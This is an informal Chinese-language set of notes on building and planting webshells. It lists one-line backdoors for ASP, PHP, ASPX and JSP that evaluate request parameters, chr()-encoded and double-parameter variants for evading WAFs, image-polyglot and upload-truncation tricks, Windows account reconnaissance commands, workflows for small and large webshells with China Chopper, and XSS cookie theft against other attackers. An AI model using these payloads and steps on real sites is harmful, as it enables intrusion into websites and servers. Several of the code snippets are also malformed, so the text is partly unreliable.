一句话木啊基础
短,小,强,隐蔽好,powerful,2333333,基于B/S
<%execute request("value")%>
execute是参数
eval是来执行参数的
对于网站来说,要对用上马即支持的运行环境,(iis支持asp、aspx、php),asp无权调用cmd,aspx有
asp一句话
<%eval request("c")%>
一般用都是request的值=命令
php一句话
<>php
@eval($_POST[value]);?>
aspx一句话
<%@
Page Language="jscrit"%>
或者
<%@
eval(Request.Item["value"])%>
jsp
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
变形
双重的request的使用
<?php
$_REQUEST['dd']($_REQUEST['chneyouxiu']);?>
对于两个参数,执行可以?a=eval然后就又变成了原本的一句话,可以过掉一些早些年的waf
也可以连菜刀
也可以通过eval来构造查看代码
?a=eval&chenyouxiu=phpinfo();
减少闭合情况的
<eval(Request(chr(112)))%>
没有单引号,双引号,防止转义在一些情况下
request用chr并且加上自己的value
<%eval (eval(chr(114)+chr(101)+chr(117)+。。。。。。)("chenyouxiu"))%>
这是asp的
php拼接用点,asp用加号
等
一句话木马的制作
基本的
通过c32进行在左面上传各种一句话,为了防止网站只运行一种,最好都加
然后上传,bp截断,更改,文件都在相对路径下
还有用
cmd
做
copy /b 1.jpg+1.asp 2.jpg
还有
图片属性得版权内插
能支持aspx 百分之8/90支持asp
dos语句的使用
这是管理员权限
user query
看有无管理员上线
net user
查看账户
net localgroup administrators
查看管理员权限
然后学习cacls更改权限
指定安装一些文件,也是管理员下
setp 绝对路径文件
小马
小马只能上传文件,但隐蔽性也好
假如小马为x.asp
然后输密码登录
然后穿大马
ps:asp下也是asp文件得马,不能错了
然后创一个新的asp文件
然后输入
获取权限...
但基本不行了,23333,版本老了
思路想法:上小马,然后指定目录再上大马,有点麻烦,还不如直接上大马...
但这样的一般都有后门...**************
这个xx.asp可以使用爆破bp(弱口令),也可以尝试进程丢失,爆出密码
?profile=a
大马
功能多,50k以上,还有的用还有后门....
执行能力强,但不加密会被报毒
一句话使用
asp
数据库是as格式得网站,在留言板,或发表文章添加一句话,或加到asp网页
最后还是把
<%execute request("value")%>
文件包含马
上传jpg图片,然后根据jpg得上传名字,因为过掉一些waf,在上传asp得引用,直接访问asp即可
<!--#include file="a.jpg" -->
jsp
首先要开启tomcat服务,然后上传服务端代码,然后确定服务地址,打开,然后上传大马
然后用菜刀2014得custom
然后上传
然后菜刀...
模式为customize,然后编码为utf-8
webshell后门查询
通过k
firebug查看元素
查看发送地址...
看网络得发送请求包
也可wireshark
然后通过地址访问...
可以更改
审计可得
然后黑吃黑
xss获取cookie,然后进行对方登录后台查看,获取cookie
然后用小马哥强注